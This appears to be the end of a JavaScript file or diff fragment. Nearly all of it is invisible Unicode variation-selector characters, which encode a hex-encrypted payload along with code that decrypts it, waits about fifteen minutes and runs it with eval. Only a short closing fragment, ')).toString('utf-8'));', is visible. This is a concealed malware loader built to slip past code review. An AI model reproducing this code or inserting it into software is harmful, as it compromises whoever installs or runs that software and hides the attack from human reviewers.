󠄧󠄦󠅓󠅕󠄦󠅒󠅒󠄤󠄦󠄥󠄡󠅕󠄨󠄤󠄢󠅖󠄥󠅖󠅕󠅓󠄡󠄠󠄤󠄨󠅔󠄤󠄧󠄢󠅔󠄥󠄦󠄦󠅔󠄥󠄡󠄣󠄢󠅕󠅑󠄡󠅕󠄣󠄩󠄨󠄠󠅕󠄡󠅕󠄡󠅒󠅓󠅒󠄡󠄤󠅓󠄢󠅖󠄧󠅑󠅕󠄤󠅕󠄦󠄡󠄩󠄠󠄦󠅖󠄠󠅔󠅕󠅒󠄨󠄧󠄥󠄤󠄩󠄧󠅓󠅖󠄨󠄧󠄤󠄡󠅓󠄧󠅑󠅒󠄩󠄤󠅕󠅖󠅕󠅓󠅕󠄢󠅖󠅔󠅕󠄥󠅓󠄡󠅖󠄤󠄥󠄤󠄥󠄩󠅔󠅓󠅔󠅖󠅒󠅕󠄧󠄦󠄠󠄠󠅒󠄦󠅕󠄩󠄨󠄠󠄤󠄧󠄤󠄢󠅒󠅔󠄦󠄡󠄨󠄩󠄨󠄨󠅕󠄣󠅒󠄨󠅖󠅓󠅕󠄣󠄡󠄠󠅒󠄡󠄨󠅑󠅖󠄦󠅒󠄡󠅑󠅓󠅔󠄠󠄩󠅒󠅕󠅑󠅔󠄨󠄨󠄠󠅔󠄧󠅔󠅕󠅔󠅑󠅔󠄩󠄡󠄢󠄧󠄠󠄧󠅔󠄤󠅑󠄣󠄤󠄠󠄦󠅑󠄡󠄦󠅓󠅓󠅖󠅓󠅒󠅖󠄢󠄢󠅔󠅖󠄣󠄣󠄥󠅑󠄥󠄨󠄢󠄢󠅑󠄤󠅔󠅒󠄧󠄧󠄣󠅔󠅔󠄦󠄣󠄡󠄨󠄠󠅔󠅓󠅒󠄩󠅕󠅑󠅔󠄧󠄥󠄡󠅕󠄨󠄢󠄤󠄣󠄩󠄧󠄠󠄣󠅔󠄤󠄠󠄢󠄡󠄩󠅓󠄥󠄦󠄡󠄧󠄨󠄢󠄦󠄢󠄠󠄠󠄤󠅔󠄥󠄤󠄨󠄧󠅖󠅕󠄤󠄥󠅓󠄨󠅑󠄥󠄤󠄠󠄢󠄤󠄤󠅔󠄦󠅑󠄡󠄦󠅒󠄣󠅖󠄥󠄢󠅒󠄧󠅖󠄤󠄢󠅓󠄩󠅕󠄡󠄥󠄣󠅔󠅒󠄧󠅑󠅕󠅑󠄣󠄧󠅖󠄣󠄠󠄣󠄧󠄨󠅑󠄥󠄢󠄠󠅑󠅒󠅒󠄤󠄧󠅕󠄡󠅔󠅖󠅑󠅓󠅓󠄩󠅓󠄩󠅓󠅕󠄡󠄤󠅑󠄨󠄤󠄡󠄢󠅓󠄨󠄩󠅖󠄥󠅓󠄤󠄨󠅑󠅑󠄢󠅓󠅖󠄨󠄩󠄨󠅖󠅖󠄠󠄤󠅖󠄣󠅑󠄥󠄡󠄥󠄢󠄢󠅔󠅕󠄣󠅕󠅑󠄤󠄩󠅓󠄩󠅓󠄠󠄥󠄠󠄤󠄥󠅑󠅖󠄨󠄢󠅖󠄩󠅑󠅖󠄧󠅑󠅒󠄡󠄥󠄢󠄢󠄦󠅔󠅑󠅕󠅕󠅕󠄠󠄡󠅖󠄥󠄠󠅔󠅒󠄥󠄦󠄨󠅕󠅓󠅓󠅒󠄠󠅖󠅓󠄤󠄢󠅖󠄣󠅓󠅔󠄤󠅑󠄤󠄩󠄨󠅕󠄠󠅓󠄠󠅖󠅔󠄠󠄥󠄥󠅖󠄩󠅔󠄥󠄡󠄨󠅑󠄨󠅔󠄩󠄩󠄨󠄧󠄦󠅖󠄤󠄩󠅒󠄦󠅑󠄦󠄡󠄧󠅒󠄣󠄠󠄨󠄣󠄧󠄡󠅖󠄤󠄤󠄡󠄤󠄡󠄤󠄤󠄡󠄠󠄧󠄩󠅕󠄩󠄨󠄤󠅔󠄢󠄦󠄡󠄩󠄠󠄠󠅕󠅒󠄣󠄠󠄧󠄦󠅓󠅒󠅕󠄩󠄨󠄤󠄥󠄨󠅔󠄨󠄧󠄧󠄤󠅑󠅖󠅓󠄢󠄤󠄨󠅑󠄩󠄣󠄨󠅔󠅕󠄥󠄢󠄩󠄨󠅑󠅔󠄧󠄠󠄨󠄧󠄣󠄥󠄥󠅕󠄩󠄧󠄥󠅒󠅕󠄩󠄣󠄠󠅓󠄢󠅖󠅑󠅑󠄧󠄦󠄤󠅓󠄦󠄠󠅖󠅑󠄩󠄢󠅓󠅖󠅓󠄥󠅒󠅒󠄥󠄢󠅒󠄩󠄡󠄣󠅑󠅕󠄥󠅕󠄠󠄥󠅔󠄩󠄧󠄩󠄧󠅔󠅑󠄩󠄢󠄢󠄠󠄤󠅕󠄡󠅖󠄩󠄠󠅓󠄣󠄠󠅖󠄩󠄨󠅓󠅔󠄤󠅖󠅔󠄠󠄣󠄦󠅖󠅔󠅒󠅓󠄤󠅓󠄩󠄩󠄠󠄦󠄤󠅓󠅕󠄣󠄦󠅖󠄡󠄧󠅓󠅓󠅔󠄠󠅑󠅖󠅖󠄣󠄡󠅓󠅖󠄣󠅓󠅕󠄢󠄡󠄢󠄧󠄢󠄣󠄠󠄢󠄩󠅔󠄤󠅑󠄤󠅕󠄡󠅔󠅑󠄥󠄢󠄣󠅖󠄤󠅖󠅓󠄠󠄧󠅔󠅕󠅔󠄥󠄦󠅕󠄦󠄥󠅕󠄩󠄡󠄢󠅑󠄡󠄤󠄠󠄥󠅓󠅖󠄠󠅔󠄦󠄩󠅑󠄠󠄢󠅕󠅖󠅔󠄥󠅓󠄩󠄩󠄨󠄧󠄧󠄣󠄣󠄦󠅖󠄨󠅕󠅒󠅑󠄩󠄦󠄡󠅑󠄧󠅑󠄣󠅖󠅔󠄩󠅓󠄣󠄩󠄨󠄣󠅔󠄥󠄡󠄣󠄥󠄨󠄡󠄣󠄧󠄤󠅖󠅔󠅔󠄨󠄥󠄥󠅖󠅖󠄧󠅔󠄠󠅑󠄣󠅖󠄥󠄧󠄠󠄧󠅒󠄣󠅓󠄤󠅑󠄤󠅖󠄗󠄜󠄗󠅘󠅕󠅨󠄗󠄜󠄗󠅥󠅤󠅖󠄨󠄗󠄙󠄫󠅒󠄛󠄭󠅔󠄞󠅖󠅙󠅞󠅑󠅜󠄘󠄗󠅥󠅤󠅖󠄨󠄗󠄙󠄫󠅩󠅙󠅕󠅜󠅔󠄐󠅞󠅕󠅧󠄐󠅀󠅢󠅟󠅝󠅙󠅣󠅕󠄘󠅢󠄭󠄮󠅣󠅕󠅤󠅄󠅙󠅝󠅕󠅟󠅥󠅤󠄘󠅢󠄜󠄩󠅕󠄥󠄙󠄙󠄫󠅩󠅙󠅕󠅜󠅔󠄐󠅕󠅦󠅑󠅜󠄘󠅒󠄙󠄫󠅭󠄙󠄘󠄙󠅍󠅋󠄠󠅍󠄞󠅤󠅘󠅕󠅞󠄘󠄘󠄙󠄭󠄮󠅫󠅭󠄙󠄫`)).toString('utf-8'));
\ No newline at end of file